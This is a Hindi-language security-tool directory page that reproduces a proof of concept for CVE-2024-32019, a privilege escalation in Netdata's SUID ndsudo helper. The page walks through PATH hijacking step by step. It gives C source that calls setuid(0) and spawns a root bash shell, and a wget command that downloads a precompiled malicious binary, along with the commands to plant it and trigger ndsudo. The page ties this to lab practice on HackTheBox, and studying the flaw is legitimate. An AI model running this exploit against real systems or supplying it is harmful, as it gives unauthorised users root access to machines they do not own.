Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-32019-POC — Netdata ndsudo स्थानीय विशेषाधिकार वृद्धि कार्यप्रवाह और POC (CVE-2024-32019) | Kitploit
उपकरण/GitHubGitHub/juanbelin/cve-2024-32019-poc
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubjuanbelin/cve-2024-32019-poc

CVE-2024-32019-POC

Netdata ndsudo स्थानीय विशेषाधिकार वृद्धि कार्यप्रवाह और POC (CVE-2024-32019)

रिपॉजिटरी देखें
11 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-32019-POC

Netdata ndsudo स्थानीय विशेषाधिकार वृद्धि कार्यप्रवाह और POC (CVE-2024-32019)

  • कार्यप्रवाह
  • स्वचालित शोषण
  • संसाधन

कार्यप्रवाह

[!TIP] कृपया पढ़ें

Netdata एक उपकरण है जो ऐप्स और सिस्टम की निगरानी प्रदान करता है, यह पोर्ट 19999 पर चलता है, ढूंढना आसान है:

root@kitploit:~
test@test:~$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State     

tcp        0      0 127.0.0.1:19999         0.0.0.0:*               LISTEN  

यह भेद्यता (CVE-2024-32019) निम्नलिखित संस्करणों को प्रभावित करती है: >= v1.45.0, < v1.45.3, >= v1.44.0-60, < v1.45.0-169. हम हेडर प्रतिक्रिया में संस्करण जानने के लिए एक अनुरोध कर सकते हैं:

CVE-2024-32019-1

शोषण उनके प्लगइन्स में से एक, ndsudo के PATH हाइजैकिंग का लाभ उठाकर होता है, जो अक्सर /opt/netdata/usr/libexec/netdata/ में स्थित होता है और जिसमें SUID है।

root@kitploit:~
test@test:~$ find / -name ndsudo 2> /dev/null
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
CVE-2024-32019-2

हम देख सकते हैं कि --help का उपयोग करके हम क्या कर सकते हैं

root@kitploit:~
$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo --help

ndsudo

(C) Netdata Inc.

A helper to allow Netdata run privileged commands.

  --test
    print the generated command that will be run, without running it.

  --help
    print this message.

The following commands are supported:

- Command    : nvme-list
  Executables: nvme 
  Parameters : list --output-format=json

- Command    : nvme-smart-log
  Executables: nvme 
  Parameters : smart-log {{device}} --output-format=json

- Command    : megacli-disk-info
  Executables: megacli MegaCli 
  Parameters : -LDPDInfo -aAll -NoLog

- Command    : megacli-battery-info
  Executables: megacli MegaCli 
  Parameters : -AdpBbuCmd -aAll -NoLog

- Command    : arcconf-ld-info
  Executables: arcconf 
  Parameters : GETCONFIG 1 LD

- Command    : arcconf-pd-info
  Executables: arcconf 
  Parameters : GETCONFIG 1 PD

The program searches for executables in the system path.

Variables given as {{variable}} are expected on the command line as:
  --variable VALUE

VALUE can include space, A-Z, a-z, 0-9, _, -, /, and .
root@kitploit:~
test@test:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info
arcconf : not available in PATH.

जैसा कि हम देख सकते हैं, चूंकि स्क्रिप्ट में कई कमांड हैं जो एक निष्पादन योग्य की तलाश करेंगे, हम इसका लाभ उठाकर अपना स्वयं का निष्पादन योग्य बना सकते हैं जिसका नाम PATH पर्यावरण चर में जोड़े जाने वाले पथ के भीतर किसी एक निष्पादन योग्य के नाम पर रखा गया हो।

Netdata C का उपयोग करता है, परिणामस्वरूप, हमें C में अपनी स्क्रिप्ट बनानी होगी और इसे संकलित करना होगा।

CVE-2024-32019
root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", "-p", NULL);
    perror("execl");
    return 1;
}
root@kitploit:~
gcc arcconf.c -o arcconf

फिर जैसा कि पहले चर्चा की गई, हम स्क्रिप्ट का पथ $PATH में जोड़ते हैं

root@kitploit:~
test@test:/tmp$ PATH=/tmp:$PATH

अंत में हम बस उस कमांड को निष्पादित करते हैं जो हमारे दुर्भावनापूर्ण निष्पादन योग्य (arcconf-pd-info -> arcconf ) की ओर इशारा करता है और यह हमें एक विशेषाधिकार शेल देने वाला है

root@kitploit:~
test@test:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-pd-info
root@editor:/tmp# whoami
root

स्वचालित शोषण

आप पहले से संकलित C दुर्भावनापूर्ण स्क्रिप्ट डाउनलोड कर सकते हैं जो आपको ऊपर दिए गए उदाहरण में बताए अनुसार रूट के रूप में bash देगी:

root@kitploit:~
wget https://github.com/juanbelin/CVE-2024-32019-POC/raw/refs/heads/main/arcconf 
root@kitploit:~
mv arcconf /tmp #If your target has Internet connectivity

scp ./arcconf test@test:/tmp/arcconf #If your target does not have Internet connectivity
root@kitploit:~
PATH=:/temp:$PATH
root@kitploit:~
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info #The ndsudo path may change 

संसाधन

  • https://learn.netdata.cloud/docs/collecting-metrics/

  • https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93

  • https://app.hackthebox.com/machines/684

टूल डाउनलोड करें